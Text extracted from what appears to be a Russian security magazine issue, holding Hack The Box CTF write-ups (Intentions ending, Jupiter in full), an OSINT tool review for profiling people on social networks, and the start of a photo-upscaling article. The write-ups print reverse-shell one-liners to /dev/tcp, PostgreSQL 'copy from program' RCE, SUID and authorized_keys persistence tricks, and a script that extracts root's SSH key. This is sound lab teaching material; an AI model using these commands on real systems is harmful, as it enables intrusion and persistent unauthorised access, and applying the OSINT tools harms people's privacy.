sh -i >& /dev/tcp/10.10.14.42/4321 0>&1

Сессия пользователя www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Так как у нас есть доступ к данным сайта, стоит посмотреть, нет ли в исходни-
ках каких-нибудь учетных данных.
В каталоге сайта находим директорию .git.

Содержимое каталога /var/www/html/intentions

Скачав весь репозиторий, мы получим не только текущие файлы, но и исто-


рию их изменения. При разработке для удобства очень часто используются
статические учетные данные. Поэтому архивируем этот каталог и скачиваем
архив с сайта.

tar -cf ./public/arc.tar ./.git/

На локальном хосте разархивируем файл и смотрим историю коммитов


с помощью VS Code.

История коммитов

Поочередно просматривая историю изменений, видим удаленную строку


с учетными данными.

История изменения файла

С найденными учетными данными получается авторизоваться по SSH.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Выполняем команду id и узнаём, что наш пользователь числится в группе
scanner. Сразу поищем файлы, принадлежащие этой группе.

find / -group scanner -type f 2>/dev/null

Файлы группы scanner

Нашли один исполняемый файл, который мы не можем получить для изу-


чения, но можем выполнить.

Информация о файле scanner

Скорее всего, он поможет нам в повышении привилегий, но как именно —


пока неясно. Поэтому перейдем к стандартному шагу — автоматическому
сканированию системы с помощью PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. В выводе LinPEAS обращаем внимание на Linux capabilities.

Linux capabilities

В Linux пользователь root получает особый контекст при запуске любых про-
цессов. Так, ядро и приложения, работающие от имени root, обычно пропус-
кают любые ограничения, заданные на действия в определенном контексте,
поэтому root может делать все, что захочет. Но что, если процессу, который
работает в непривилегированном контексте, нужно выполнить требующее
привилегий действие, не повышая уровня прав?
Например, бывает нужно разрешить процессу записывать в журнал аудита
ядра, но не позволять отключить этот аудит. Ведь если запустить этот про-
цесс в контексте рута, он сможет выполнить оба действия!
Тут на помощь и приходят Linux capabilities. Эти «возможности» предос-
тавляют процессу не все множество привилегий, а какое-то его подмножес-
тво. Другими словами, все привилегии рута разбиваются на более мелкие
независимые друг от друга привилегии и процесс получает только те,
которые ему нужны.

Исполняемый файл /opt/scanner/scanner имеет привилегию


cap_dac_read_search, которая позволяет прочитать любой файл в системе.
Видимо, доступ к файлам пользователя root — это и есть наш путь
для повышения привилегий.
Изучив справку этого сканера, находим интересную возможность при-
ложения: если мы укажем файл для чтения, количество символов и хеш, то
программа прочитает из файла указанное количество символов, вычислит
хеш MD5 и сравнит с переданным ей вариантом, после чего выдаст результат
сравнения.
Так мы можем поочередно перебрать все символы в файле и получить его
полное содержимое. Прочитаем первый символ из файла и сравним хеш,
который вернет приложение, с хешами всех символов поочередно. Когда
хеши равны, можно сказать, что мы нашли первый символ. Зная первый, мы
можем перебрать таким же образом второй символ и так далее все содер-
жимое файла.

echo -n t | md5sum

echo test > /home/greg/file.test


/opt/scanner/scanner -c /home/greg/file.test -l 1 -s
e358efa489f58062f10dd7316b65649e -p

Проверка теории

Первым делом нужно определить, какой файл читать. Передаем сканеру путь
к приватному ключу SSH пользователя root и узнаём, что такой файл сущес-
твует.

Результат работы программы

Я реализовал наш сценарий расшифровки в виде простенького скрипта


на Python и получил приватный ключ.

import hashlib
import os
import string

content = ""
length = 1
while True:
cmd = f"/opt/scanner/scanner -c /root/.ssh/id_rsa -l {length} -s
111 -p"
hash = os.popen(cmd).read().split(" ")[-1].rstrip()

char = None
for c in string.printable:
if hash == hashlib.md5((content + c).encode()).hexdigest():
char = c
break

if char:
print(char, end="")
content += char
length += 1
else:
break

Приватный ключ пользователя

Сохраняем ключ в файл, командой chmod 0600 id_rsa назначаем нужные


права и подключаемся по SSH от имени рута.

Флаг рута

Машина захвачена!
ВЗЛОМ

ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ
КОД С ПОМОЩЬЮ JUPYTER
И SATTRACK

В этой статье мы получим доступ к веб-сер-


веру через RCE-уязвимость и эксплуатацию
SQL-инъекции в PostgreSQL. Затем вос-
пользуемся фреймворком Jupyter
для выполнения произвольного кода RalfHacker
hackerralf8@gmail.com
и повысим привилегии в SatTrack.

Наша цель — захват прав суперпользователя на тренировочной машине


Jupiter с площадки Hack The Box. Уровень ее сложности — средний.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.216 jupiter.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел два открытых порта:


• порт 22 — служба OpenSSH 8.9p1;
• порт 80 — веб-сервер Nginx 1.18.0.

При таком выборе начинать нужно с изучения сайта.

Главная страница сайта

ÒÎ×ÊÀ ÂÕÎÄÀ
На самом сайте ничего интересного не находим, поэтому попробуем поис-
кать поддомены.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -H — HTTP-заголовок.

Место перебора помечается словом FUZZ.

Запускаем сканирование, перечислив все нужные параметры:

ffuf -u http://jupiter.htb -w subdomains-top1million-110000.txt -t


256 -H 'Host: FUZZ.jupiter.htb'

Результат сканирования поддоменов

В вывод попадают абсолютно все варианты из списка, а значит, будем


использовать фильтр -fs, чтобы убрать из вывода страницы раз-
мером 178 байт.

ffuf -u http://jupiter.htb -w subdomains-top1million-110000.txt -t


256 -H 'Host: FUZZ.jupiter.htb' -fs 178

Результат сканирования поддоменов

Находим новый поддомен kiosk, который добавляем в файл /etc/hosts.


Обновив файл, просматриваем сайт.

10.10.11.216 jupiter.htb kiosk.jupiter.htb

Главная страница сайта kiosk.jupiter.htb

Все действия я произвожу через Burp, поэтому, проверив Burp History, сразу
обратил внимание на то, что используется API и в параметре rawSql переда-
ется следующий SQL-запрос:

select count(parent) from moons where parent = 'Saturn';

Запрос в Burp History

Это явная точка входа, попробуем воспользоваться ей.

ÒÎ×ÊÀ ÎÏÎÐÛ
С точки зрения пентестера, Postgres хорош тем, что может дать выполнение
команд в контексте пользователя-службы. Механизм простой: создаем таб-
лицу и заполняем ее выводом выполненной команды. С помощью Burp
Repeater отправляем SQL-запрос для создания таблицы.

create table cmd_exec(cmd_output text);

Запрос в Burp Repeater

Никаких ошибок нам не вернули, поэтому запускаем локальный веб-сервер


на основе Python и выполняем на него тестовый запрос с удаленного сер-
вера при помощи curl.

copy cmd_exec from program 'curl http://10.10.14.188/test_rce';

Запрос в Burp Repeater

Логи веб-сервера

Получается, у нас есть RCE, поэтому запускаем листенер (pwncat-cs -lp


4321) и пробрасываем самый обычный реверс-шелл:

bash -i >& /dev/tcp/10.10.14.188/4321 0>&1

Конечный SQL-запрос будет выглядеть вот так:

copy cmd_exec from program 'bash -c "bash -i >& /dev/tcp/10.10.14.


188/4321 0>&1"';

Сессия пользователя postgresql

Получаем сессию в контексте пользователя postgresql, но спустя минуту


сессия обрывается.

Сообщение об уничтожении сессии

Сколько раз я ни прокидывал реверс-шелл, он всегда почти тут же умирал.


В таком случае нам нужно быстро закрепиться на хосте.

Ñîõðàíåíèå äîñòóïà
Самый простой способ сохранить доступ в Linux — это, конечно же, запись
ключа SSH. Но сначала проверим командную оболочку пользователя в файле
/etc/passwd.

Содержимое файла /etc/passwd

Присутствует командная оболочка /bin/bash, а значит, мы можем авторизо-


ваться по SSH. Генерируем пару ключей и записываем публичный в файл ~/.
ssh/authorized_keys.

ssh-keygen
cat /var/lib/postgresql/.ssh/id_rsa.pub > /var/lib/postgresql/.ssh/
authorized_keys
cat /var/lib/postgresql/.ssh/id_rsa

Запись ключа SSH

А теперь копируем приватный ключ на свой хост, назначаем права (chmod


0600 id_rsa) и подключаемся к серверу.

ssh -i id_rsa_postgres postgres@10.10.11.216

Сессия пользователя postgres

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД С


ПОМОЩЬЮ JUPYTER
И SATTRACK

ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü juno
Теперь нам нужно собрать информацию. Я, как обычно, буду использовать
для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загрузим на хост скрипт для Linux, дадим ему право на выполнение и запус-
тим сканирование. В выводе будет много информации, поэтому отберем
только значимую.
В списке прослушиваемых портов находим интересный веб-порт 8888.

Список активных портов

В /opt есть каталог solar-flares, принадлежащий пользователю jovian.

Содержимое каталога /opt

Файл /dev/shm/network-simulation.yml был недавно изменен, и наш


пользователь имеет право на запись в этот файл.

Файлы с правом на запись, измененные в течение пяти минут

Заглянем в найденный файл. В нем прописан запуск команд python3 -m


http.server 80 и curl -s server.

Содержимое файла /dev/shm/network-simulation.yml

Интересно, запускаются ли они в действительности и какой процесс исполь-


зует эти настройки. Попробуем отследить запускаемые процессы в системе
утилитой pspy64. Судя по ее выводу, процессы и правда запущены поль-
зователем juno. Сам файл с настройками передается утилите shadow.

Вывод утилиты pspy64

Так как мы имеем право на запись в этот файл, откроем его и изменим
исполняемые команды на cp /bin/bash /tmp/bash и chmod u+s /tmp/
bash.

Измененная конфигурация

Так мы первой командой создаем копию файла командной оболочки /bin/


bash, владельцем которого при копировании становится juno. Второй коман-
дой мы назначаем нашей копии S-бит. Когда shadow выполнится вновь, пос-
мотрим права файла /tmp/bash.

Права файла /tmp/bash

Поскольку файлу установлен атрибут SUID, любой пользователь, запустивший


его, получит повышение прав до пользователя — владельца файла в рамках
запущенного процесса. В данном случае это юзер juno.

/tmp/bash -p

Сессия пользователя juno

Так как мы получаем лишь euid, а не полноценную сессию, запишем поль-


зователю тот же самый SSH-ключ и авторизуемся уже по SSH.

Флаг пользователя

Ïîëüçîâàòåëü jovian
Теперь у нас есть доступ к проекту solar-flares в каталоге /opt.

Содержимое каталога /opt/solar-flares

Перейдем к порту 8888, где развернуто какое-то веб-приложение. Прокинем


данный порт на свой хост через SSH.

ssh -i id_rsa_postgres juno@10.10.11.216 -L 8888:127.0.0.1:8888

Теперь весь трафик, который мы пошлем на локальный порт 8888, будет тун-
нелирован на порт 8888 указанного хоста (в данном случае 127.0.0.1) через
SSH-хост. Подключаемся к порту.

Главная страница http://127.0.0.1:8888/

Это система Jupyter, логи которой мы видели в каталоге /opt/solar-flares/


logs/. Для авторизации нам нужен логин или пароль, попробуем найти их
в логах.

Логи Jupyter

Находим токен в URL страницы. Просто перейдем по этой ссылке и получим


список файлов Jupyter.

Главная панель Jupyter

Jupyter — это интерактивный блокнот, изначально разработанный


для IPython, но теперь ориентированный на работу со множеством сред
выполнения. Для нас же главное, что он позволяет выполнять код.
Выбираем в меню Jupyter пункт New → Python 3.

Переход к странице выполнения входа

Запишем пользователю SSH-ключ, для чего сначала скопируем его и дадим


права для чтения другим пользователям.

cp ~/.ssh/authorized_keys /tmp/id_rsa.pub
chmod 777 /tmp/id_rsa.pub

А теперь через Jupyter выполним код, копирующий ключ пользователю


jovian, от имени которого работает Jupyter.

import os; os.system("cat /tmp/id_rsa.pub > /home/jovian/.ssh/


authorized_keys")

Выполнение кода в Jupyter

Теперь с приватным ключом подключаемся по SSH.

ssh -i id_rsa_postgres jovian@10.10.11.216

Сессия пользователя jovian

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


При изменении контекста работы сразу проверяем файл sudoers.

sudo -l

Настройки sudoers

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы


пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.

Как видишь, мы можем запустить команду /usr/local/bin/sattrack от име-


ни пользователя root без ввода пароля. При попытке запустить это приложе-
ние узнаем, что это некая «система трекинга спутников». А если поищем
в нем строку config, то получим путь к файлу с настройками.

Все строки, содержащие слово config

При поиске в Google по словам «github tleroot hgt updatePeriod», взятым


из файла, получаем всего одну ссылку на репозиторий — arftracksat. И в этом
репозитории находим пример конфига.

{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/arftracksat/map.json",
"texturefile": "/usr/local/share/arftracksat/earth.png",

"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&
FORMAT=tle"
],

"updatePerdiod": 1000,

"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},

"show": [
],

"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}

В параметре tlesources указаны ссылки для получения данных, а в парамет-


рах tleroot и tlefile — каталог и имя файла для их сохранения. Давай поп-
робуем загрузить со своего сервера и перезаписать ключ SSH, для чего нем-
ного изменим конфиг и поменяем эти параметры.

{
"tleroot": "/root/.ssh/",
"tlefile": "authorized_keys",
"mapfile": "/tmp/map.json",
"texturefile": "/tmp/map.json",

"tlesources": [
"http://10.10.14.188/authorized_keys"
],

"updatePerdiod": 1000,

"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},

"show": [
],

"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}

Запуск SatTrack

В логах видим, что данные успешно загружены с нашего сервера. Подклю-


чаемся с приватным ключом и забираем флаг рута.

Флаг рута

Машина захвачена!
ТРЮКИ

ИЗВЛЕКАЕМ ДАННЫЕ
ИЗ INSTAGRAM, TELEGRAM,
GITHUB И ДРУГИХ ИСТОЧНИКОВ

Разведка по открытым источникам —


не только увлекательное занятие само
по себе, но и важный навык, который быва-
ет полезен в настоящих расследованиях.
Опытные следопыты обычно применяют Luc1fer_Lan1us
viktorkoen8@gmail.com
специальный инструментарий, о котором
мы и поговорим в этой статье.

Cбор персональной информации без получения


согласия нарушает закон «О персональных дан-
ных». Также подобные действия могут образовать
состав преступления по статье 137 УК РФ
«Нарушение неприкосновенности частной жиз-
ни». Вся информация в статье предоставлена
исключительно в ознакомительных целях.
Ни автор, ни редакция не несут ответственности
за любые последствия использования приведен-
ных в этой публикации сведений.

Читай также мой первый обзор утилит для OSINT:


«5 утилит для OSINT. Собираем инструментарий
сетевого разведчика».

ZEHEF

Утилита Zehef написана на Python и предназначена для сбора информации


об адресе электронной почты. Она проверяет репутацию адреса в разных
источниках и находит потенциально связанные аккаунты в соцсетях. Крайне
полезно, чтобы проверить, не светилась ли где-то почта, а при некотором
везении еще и получить логин от учетных записей в соцсетях и других сер-
висах.

Устанавливать все инструменты мы будем на Kali


Linux. Однако в других дистрибутивах установка
вряд ли будет сильно отличаться.

Для установки Zehef просто клонируем репозиторий и устанавливаем зависи-


мости:

git clone https://github.com/N0rz3/Zehef.git


cd Zehef
pip install -r requirements.txt

Установка Zehef

Запускаем:

python3 zehef.py <email>

Оформление вывода вроде и пытались сделать красиво, но вышло не очень


информативно. Приходится просматривать весь вывод, чтобы собрать все
интересные вещи, а интересного немало.

Результаты поиска

Видим, что на наш тестовый адрес есть учетные записи, а еще он зарегистри-
рован в Twitter/X, на GitHub и на нескольких порносайтах.

Результаты поиска

Как и любая мало-мальски сложная программа, Zehef иногда выдает ошибки.


Если ты получаешь ошибку вроде той, что на скриншоте ниже, — удаляй код
поиска по TikTok, и все заработает как надо.

Ошибка

Стереть нужно вот этот файл:

Zehef/modules/possible_accounts/social/tiktok.py

А также удаляй выделенные на скриншотах ниже части кода в Zehef/output/


main.py.

Альтернативный вариант — просто закомментировать глючные участки, что я


и сделал.

NETSOC_OSINT

Этот скрипт написан на Bash и направлен на выгрузку максимального


количества информации о пользователе из отдельных соцсетей. При этом
не требуется авторизация в них. Выглядит это так: ты выбираешь одну из дос-
тупных сетей и работаешь уже исключительно в рамках того, что доступно
именно для нее. Зато делаешь это максимально точно! Но лично для меня
было важнее всего то, что для работы скрипта даже не нужно получать API-
токены левых аккаунтов и вписывать их в конфиги.
Поддерживаются следующие сервисы:
• Instagram;
• TikTok;
• Twitter/X;
• Twitch;
• Telegram;
• GitHub.

Для каждого доступна работа не только с открытыми, но и с приватными учет-


ными записями.
Установка проста. Скрипт представляет собой всего один файл
без зависимостей (разве что Bash у тебя должен быть). Скачаем репози-
торий, дадим права на исполнение — и полетели.

git clone https://github.com/XDeadHackerX/NetSoc_OSINT


cd NetSoc_OSINT
chmod 777 netsoc_osint.sh
bash netsoc_osint.sh

Можно будет задать язык, а затем попадаем в само меню инструмента. Тут
предлагается выбрать интересующую тебя соцсеть.

Интерфейс инструмента

В качестве теста я покажу поиск по Instagram, Telegram и GitHub. Выбираем


для начала Instagram, вбиваем никнейм искомого человека и смотрим
на результаты.

Поиск по Instagram

Результаты для Telegram, увы, выглядят очень скудно: фактически все


это можно посмотреть и самостоятельно в любом клиенте. Даже ID аккаунта
не выводится, что совсем уж ни в какие ворота не лезет. Зато есть воз-
можность скачать аватарку, если она тебе по какой-нибудь причине вдруг
понадобится.

Поиск по Telegram

Информации про GitHub уже куда больше, и удобно, что ее можно получить
целиком. Смысл от использования однозначно есть.

Поиск по GitHub

В целом инструмент выдает довольно полную информацию (в рамках дос-


тупного через сам сервис), при этом не требуя никаких ключей для доступа
к API.

SNOOP PROJECT

Snoop Project — это перспективный инструмент, главным образом полезный


в странах СНГ. Он умеет искать более чем по 3000 сайтов. Я даже назвать
не смог бы десятую часть этого, а он умеет вытаскивать хоть чуть-чуть
информации с каждого из них! Огромный плюс — кросс-платформенность.
Snoop можно спокойно использовать и на Linux, и на Windows, и даже
на Android (понадобится Termux).
Для установки заходим на страницу релизов инструмента, выбираем
самый актуальный релиз и скачиваем архив для нашей платформы.

mkdir Snoop
wget https://github.com/snooppr/snoop/releases/download/V1.3.8_7_
July_2023/Snoop.for.GNU_Linux.rar
unrar e Snoop.for.GNU_Linux.rar Snoop

Немного удивило, что автор распространяет бинарник для Linux в виде архи-
ва RAR. Такое, пожалуй, встретишь только в России.

Скачивание Snoop

Запускать приходится не скрипт, который ты можешь открыть и проверить,


а кота в мешке с непонятным содержимым. Плохо так делать!
Но мы ведь работаем в виртуалке, так что нам сам черт не брат. Даем пра-
ва на запуск и выполняем:

chmod +x snoop_cli
./snoop_cli -f username

Результаты поиска

Результаты поиска выводятся не только в терминал, но и в виде HTML-файла,


в котором удобно сортировать результаты.

Результаты поиска

Инструмент очень крутой, хоть и не без странностей, и ему однозначно есть


место при разнообразных расследованиях.

TOUTATIS

Toutatis умеет доставать из аккаунта в Instagram даже больше, чем видно


в клиенте. Этот скрипт выводит даже контактные данные, такие как электрон-
ная почта и последние две цифры номера телефона. Да, это не так много,
как хотелось бы, но полезно, если номер цели уже известен и нужно лишь
подтверждение, что это ее аккаунт.
Для установки потребуется только pip. Настоятельно рекомендую уста-
навливать версию 1.3, поскольку другие оказались проблемными.

pip install toutatis==1.3

Установка Toutatis

Далее для работы нам потребуется сессионная кука Instagram. Заходим


в специально созданный аккаунт и копируем куку sessionid любым удобным
способом. Например, нажимаем F12 в Chrome и на вкладке Storage в разделе
Cookies будет наш sessionid.

Копируем его и вставляем в команду для запуска (аргумент -s).

toutatis -u <username> -s <sessionid>

Вместо <username> вставляем юзернейм интересующей нас учетной записи.

Вывод информации об учетной записи

Работает Toutatis отлично, жаль только, что приходится получать session ID


вручную. Если бы он автоматически научился это делать, было бы еще при-
ятнее.

OCTOSUITE

Octosuite нужен для сбора информации о пользователях, репозиториях


и организациях на GitHub. Этот скрипт можно использовать для получения
информации о разработчиках, коммитах, issues и так далее — и все бесплат-
но, без регистрации и SMS. Полезно для тех, кто хочет встроить как можно
больше интересных инструментов в свой пайплайн анализа никнейма, но не
знает, как дотянуться до GitHub.
Установка предельно простая через pip:

pip install octosuite

Справка по командам Octosuite доступна по ключу -h.

Список доступных аргументов

Для демонстрации я забил в аргументы свой ник и посмотрел, что оно


выведет:

octosuite --method user_profile --username username

Конечно, в Octosuite доступны и другие функции, которыми можно пос-


мотреть список пользовательских репозиториев, информацию о каждом кон-
кретном репозитории, включая его форки, и многое другое.

ÂÛÂÎÄÛ

Сегодняшние пять инструментов станут отличным дополнением к твоему тре-


вожному OSINT-чемодану, хоть и не могут полноценно заменить взрослые
платные решения. Зато некоторые из них дополнят большие инструменты,
которые не работают с какими-то из мелких источников. Бывает полезно!
И конечно, если ты знаешь какие-то еще классные программы по нашей
теме — пиши в комментариях!
ТРЮКИ

ИЗОБРЕТАЕМ ПЕРСОНАЛЬНЫЙ
НЕЙРОСЕТЕВОЙ
ФОТОУВЕЛИЧИТЕЛЬ

Чтобы не слишком удачная фотография


заиграла новыми красками, нужно долго
редактировать ее в «Фотошопе» или вос-
пользоваться возможностями нейросетей.
В этой статье мы подготовим виртуальную Игорь Орещенков
r0bur@mail.ru
машину VirtualBox с операционной сис-
темой Lubuntu 16.04, установим на нее
программы нейронных сетей Real-ESRGAN
и GFPGAN и с их помощью вдохнем вторую
жизнь в снимок из старого буклета.

ÏÐÎÑÒÎ ÑÄÅËÀÉ ÌÍÅ ÊÐÀÑÈÂÎ!

Если ты занимался фотографией вообще и цифровой фотографией в час-


тности, то не понаслышке знаком с усилиями, которые надо приложить
к исходному материалу, чтобы заставить его «заиграть красками». Современ-
ный софт позволяет применять к растровым изображениям эффекты и филь-
тры, которые в недалеком прошлом были доступны лишь киностудиям. Одна-
ко, чтобы в полной мере воспользоваться всеми возможностями графических
редакторов, просто установить Photoshop, GIMP или Paint.NET недостаточно.
Потребуются специальные знания в области обработки изображений, навыки
практического использования приемов коррекции цвета и устранения дефек-
тов, артефактов и других страшных слов. Поэтому если ты не планировал пос-
вятить свою жизнь (или как минимум каникулы) фотоискусству, то для получе-
ния качественной фотографии до недавнего времени тебе понадобилась бы
помощь профессионалов.
В последние годы технологии совершили значительный скачок в сфере
обработки изображений, приблизивший возможности программных инстру-
ментов к реализации магической кнопки «Просто сделай мне красиво!».
Как ты уже догадался, я имею в виду нейросети, воплощенные в проектах
Real-ESRGAN и GFPGAN. Первый из них, Real-ESRGAN, был создан
для выполнения «слепого суперувеличения» (Blind Super-resolution, BSR)
изображений низкого разрешения с утраченной информацией о деталях.
Основной вариант его практического применения состоит в четырехкратном
увеличении исходной картинки.
Второй, GFPGAN, ориентирован на «слепое восстановление лица» (Blind
Face Restoration, BFR), то есть восстановление изображений человеческих
лиц, которые (изображения, а не лица) подверглись повреждениям и иска-
жениям неизвестной природы. При совместном использовании с Real-
ESRGAN он дополнительно прорисовывает отдельные мелкие детали,
которые «оживляют» лица.
Общая часть GAN в названиях проектов, означающая генеративно-сос-
тязательные сети (Generative Adversarial Network), сообщает нам о том, что
оба основаны на нейронных сетях, которые обучены генерировать реалис-
тичные изображения.

Вот ссылки на сайты этих проектов:


•Real-ESRGAN
•GFPGAN

Замечательная особенность этих программных продуктов в том, что


для получения результата достаточно предоставить исходный материал,
запустить процесс и немного подождать. Никаких дополнительных указаний
относительно способов получения результата не требуется, все действитель-
но происходит «по щучьему велению, по моему хотению». А сам результат
лучше увидеть на конкретном примере. Для испытания я взял фотографию
Стива Джобса и Джона Скалли из статьи Деборы Уайз «Взлет, падение и сно-
ва взлет компании Apple», опубликованной в информационном буклете ле-
гендарной выставки «Информатика в жизни США», проходившей в 1988–
1989 годах в крупных городах СССР.

Фотография в скане информационного буклета — исходный материал


для обработки

Перед началом работы пришлось обрезать фотографию и придать ей более


естественную ориентацию, повернув по часовой стрелке в обычном гра-
фическом редакторе. После этого можно приступать к магическим прев-
ращениям. Превращение первое — четырехкратное увеличение с помощью
Real-ESRGAN. Результат я уменьшил в четыре раза и поместил рядом с ори-
гиналом, чтобы можно было сравнить на глаз. Тебе не кажется, что нейронная
сеть еще и выстирала и выгладила этим парням их рубашки и брюки?

Оригинал фотографии (слева) и результат обработки инструментом


Real-ESRGAN (справа)

Вроде бы прогресс уже достигнут. Но на фотографиях людей основное вни-


мание притягивают лица, и, согласись, было бы неплохо детальнее прорабо-
тать волосы, брови, глаза, губы... Вероятно, в этом смог бы помочь
какой-нибудь художник. Но вместо этого мы воспользуемся вторым продук-
том — GFPGAN, который умеет действовать в одной связке с Real-ESRGAN.
Итак, второе превращение — проработка лиц на фотографии.

Лица после простого увеличения (вверху) и после проработки инстру-


ментом GFPGAN (внизу)

По-моему, это полный успех! Скрипач художник не нужен!

ÍÅÎÁÕÎÄÈÌÎÅ ÎÁÎÐÓÄÎÂÀÍÈÅ

Результат хорош, слов нет, но какой ценой его можно достичь? Ты, вероятно,
в курсе, что для промышленного использования нейронных сетей необ-
ходимы серьезные вычислительные мощности — кластерные платформы
с большими хранилищами данных и мощными графическими процессорами.
Подойдет, например, майнинговая ферма времен «биткоиновой лихорадки».
Но если ты не замахиваешься на самостоятельное обучение нейронных
сетей, а просто желаешь подготовить к печати несколько фотоснимков, то
возможны варианты. Например, воспользоваться одним из множества
появившихся в интернете сервисов, предлагающих загрузить фотографию
и через 10–20 секунд получить ее улучшенную версию.
Некоторые сервисы предоставляют такие услуги даже бесплатно, но надо
помнить, что «если вы за это не платите, то вы не потребитель, вы — продава-
емый продукт». В любом случае в этой статье мы не будем обсуждать такой
незатейливый способ, а поговорим лучше о том, как выполнить аналогичную
обработку на твоем персональном компьютере или ноутбуке.
Новые версии Real-ESRGAN и GFPGAN не предъявляют специальных тре-
бований к видеоадаптеру (хотя поддержка Nvidia CUDA приветствуется)
и могут работать на довольно заурядном оборудовании. Чтобы обработать
фотографии этими инструментами, твой компьютер должен обладать сле-
дующими характеристиками:
• на нем должна быть установлена 64-разрядная версия Linux не старше
чем Ubuntu 16.04;
• должно быть не меньше 768 Мбайт по-настоящему ñâîáîäíîé оператив-
ной памяти, которая не используется ни видеоадаптером, ни операци-
онной системой;
• должно быть не менее 15 Гбайт свободного дискового пространства.

ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ

У тебя 32-разрядная Windows? Ничего, безвыходных ситуаций не бывает! Кто


сказал, что компьютер не может быть виртуальным? Устанавливай поскорее
гипервизор VirtualBox, создавай в нем виртуальную машину и не забудь ука-
зать в ее настройках следующие параметры:
• операционная система: Linux/Ubuntu (64 bit);
• основная память: 1024 Мбайт (как минимум, больше — лучше);
• жесткий диск: 20 Гбайт;
• сетевой адаптер: NAT (с выходом в интернет).

По этой ссылке можно скачать последнюю вер-


сию VirtualBox для 32-разрядных Windows.

Имей в виду, что для установки 64-разрядной гостевой операционной сис-


темы процессор на твоем компьютере должен быть 64-разрядным и под-
держивать аппаратную виртуализацию Intel VT-x или AMD-V.
Для виртуальной машины с довольно скромными параметрами подойдет
далеко не всякий дистрибутив Linux. Современная версия Ubuntu на 1 Гбайт
ОЗУ не сможет даже запустить инсталлятор, о чем я рассказывал в одной
из предыдущих статей. Кроме того, мы не можем разбрасываться оператив-
ной памятью на украшательства рабочего стола, каждый ее мегабайт пот-
ребуется для решения основной задачи. Мне больше всего понравилась
работа Bodhi Linux 4.5 — дистрибутива, основанного на Ubuntu 16.04, с лег-
ковесным рабочим столом Moksha. Но у него есть специфические нюансы
установки и настройки, поэтому тебе, наверное, будет проще воспользовать-
ся Lubuntu 16.04 — вариантом Ubuntu с рабочим столом LXDE. Его я тоже
проверил, он вполне пригоден для наших целей.

По этой ссылке можно скачать образ дистри-


бутивного диска 64-разрядной Lubuntu 16.04.

С установкой, уверен, ты справишься сам. После установки обязательно


обнови информацию о содержимом репозиториев:

sudo apt update

Если планируешь использовать машину не только в качестве фотоувеличи-


теля, можешь актуализировать установленное программное обеспечение:

sudo apt upgrade

Но для наших целей этот шаг не обязателен.


Итак, теперь у тебя точно есть 64-разрядная операционная система Linux.
Приступим к оснащению ее прикладными программами. Чтобы тебе было
проще ориентироваться в дальнейших рекомендациях, я схематично наб-
росал то, что в итоге должно получиться.

Основные элементы файловой структуры «фотоувеличителя»

На рисунке черным цветом обозначены каталоги, зеленым — основные


исполняемые файлы и сценарии, голубым — символические ссылки,
а синим — файлы с данными. Серым цветом выделены рабочие каталоги,
которые, вообще говоря, ты можешь создавать по своему предпочтению.
Обрати внимание, что вся файловая структура находится в каталоге поль-
зователя, поэтому для ее создания особые привилегии не нужны.

Продолжение статьи →
ТРЮКИ ← НАЧАЛО СТАТЬИ

ИЗОБРЕТАЕМ ПЕРСОНАЛЬНЫЙ
